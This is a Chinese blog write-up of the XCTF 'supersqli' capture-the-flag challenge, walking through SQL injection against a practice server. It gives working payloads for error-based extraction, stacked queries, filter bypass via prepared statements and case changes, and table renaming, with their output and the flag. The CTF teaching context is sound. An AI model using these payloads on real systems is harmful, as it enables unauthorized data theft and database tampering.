

xctf-supersqli

原创

·KElis 于 2020-03-16 19:31:03 发布 1002 收藏 3

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43579362/article/details/104894912

版权

[题目链接](#)

1.首先打开题目链接是一个提交框，习惯性的先提交 `1` 看看返回什么结果，

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
```

https://blog.csdn.net/qq_43579362

返回了一个数组，再来提交 `1'` 看看，

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

根据回显可知这里可能存在 `sql注入`，而且数据库为 `mysql`，又根据报错提示提交 `1'#` 看看能不能闭合,提交后回显正常，说明是单引号闭合。

2.接下来使用 `order by` 看看联合注入的字段数, `order by 2` 回显正常，`order by 3`,回显错误，说明字段数是2.然后就可以试试能不能进行联合查询注入了，提交 `1'union select 1,2#`,结果提交后返回下图这些东西

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

显然是正则表达式过滤了这些关键语句，而且忽略大小写，所以不能大小写绕过了，又试了试双写绕过，结果还是一样。

3.既然不能使用上图那些关键语句了，尝试别的方法吧，先来试试提交 `1 and%20(extractvalue(1,concat(%27~%27,database())))#`,结果回显正常

← → ↻ ⓘ 不安全 | 111.198.29.45:54362/?inject=1+and%2520%28extractvalue%281%2Cconcat%28%2527~%2527%2Cdatabase%28%29%29%29%252

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
```

```
[1]=>
string(7) "hahahah"
}
```

https://blog.csdn.net/qq_43579362

这里正常情况下不可能回显正常啊，检查了几遍提交的内容，抬头一看地址栏，这不是提交的内容吗，F12之后发现，果然这里的method是get，仔细一看地址栏的东西，发现比我提交的东西多了一个+

，inject=1+and%2520%28extractvalue%281%2Cconcat%28%2527~%2527%2Cdatabase%28%29%29%29%23,这下明白为啥回显正常了，问题在于+，由于1+字符串进行了类型转换，变成了1,当然回显正常了，所以应该在地址栏进行注入了。

4.这时再在地址栏提交1%27and%20(extractvalue(1,concat(%27~%27,database())))--+,成功爆出了数据库名

← → ↻ 不安全 | 111.198.29.45:54362/?inject=1%27and%20(extractvalue(1,concat(%27~%27,database())))--+

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:
error 1105 : XPATH syntax error: '~supersqli'

https://blog.csdn.net/qq_43579362

接下来怎么办，select这个关键字被过滤，很多方法就不行了，最后想到了堆叠注入。先来看看能不能进行堆叠注入，提交？

inject=0%27;show%20tables;--+

← → ↻ 不安全 | 111.198.29.45:33640/?inject=0%27;show%20tables;--+

取材于某次真实环境渗透，只说一句话：开发和安

姿势:

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}
```

```
array(1) {
  [0]=>
  string(5) "words"
}
```

https://blog.csdn.net/qq_43579362

回显两个表名，说明可以进行堆叠注入。

再来依次看看这两个表里面的东西

← → ↻ 不安全 | 111.198.29.45:33640/?inject=0%27;show%20columns%20from%20('1919810931114514');--+

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
```

```
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
```

https://blog.csdn.net/qq_43579362

这里看到了 `flag`,但是这里需要注意红圈的地方,在表

`1919810931114514` 两边使用的是反引号, `sql` 采用单引号环绕文本值,但是对于表名,字段名,关键字这些则使用反引号或者什么都不加,但是对数字或者存在特殊字符的表名需要使用反引号,在 `where` 条件表达式则使用单引号。

5.知道了 `flag` 在哪,但是该如何查出它?下面有两种方法:

第一种sql预处理:

主要是三个语句的应用, [可以看看这篇文章对它们的解释](#)

理解了文章里的三个语句就可以构造出查看 `flag` 的语句了,

← → ↻ ⓘ 不安全 | 111.198.29.45:33640/?inject=0%27;set%20@sql=concat(%27s%27,%27elect%20*%20from%20`1919810931114514`;%27);prepare...

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势:

```
strstr($inject, "set") && strstr($inject, "prepare")
```

https://blog.csdn.net/qq_43579362

提交语句后,又弹出了 `strstr()` 这个函数在检测传入的 `set` 和 `prepare`,而该函数对大小写敏感,所以可以采用大写绕过,构造语句是: `/?`

```
inject=0%27;Set%20@sql=concat(%27s%27,%27elect%20*%20from%20`1919810931114514`;%27);Prepare%20sq%20from%20@sql;execute%20sq;--+
```

← → ↻ ⓘ 不安全 | 111.198.29.45:33640/?inject=0%27;Set%20@sql=concat(%27s%27,%27elect%20*%20

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势:

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```

https://blog.csdn.net/qq_43579362

第二种:改表名

通过第一种方法看见了另外一个表 `words` 里面的东西

← → ↻ ⓘ 不安全 | 111.198.29.45:33640/?inject=0%27;Set%20@sql=concat(%27s%27,%27elect%20*%20from%20`words`;%27);Prepare%20sq%20fr

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

https://blog.csdn.net/qq_43579362

而红圈里面的内容不正是提交 1 时候所回显的内容吗，再来提交2和114514，回显如下

姿势:

```
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}
```

https://blog.csdn.net/qq_43579362

姿势:

```
array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

https://blog.csdn.net/qq_43579362

由这些结果可大致猜测出后台的语句是: `select * from words where id=$inject`,所以我们可以利用现成的 `select` 语句来爆出 `flag`,这就牵涉到把 `words` 改为其他名, `1919810931114514` 改为 `words`,再把字段 `flag` 改为 `id`,最后利用永真式 `1'or'1'='1` 爆出 `flag`

修改表名和字段:

```
inject=1%27;rename%20table%20words%20to%20words1;rename%20table%20`1919810931114514`%20to%20words;alter%20table%20words%20change%20flag%20id%20varchar(50);--+
```

爆 `flag`

姿势:

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```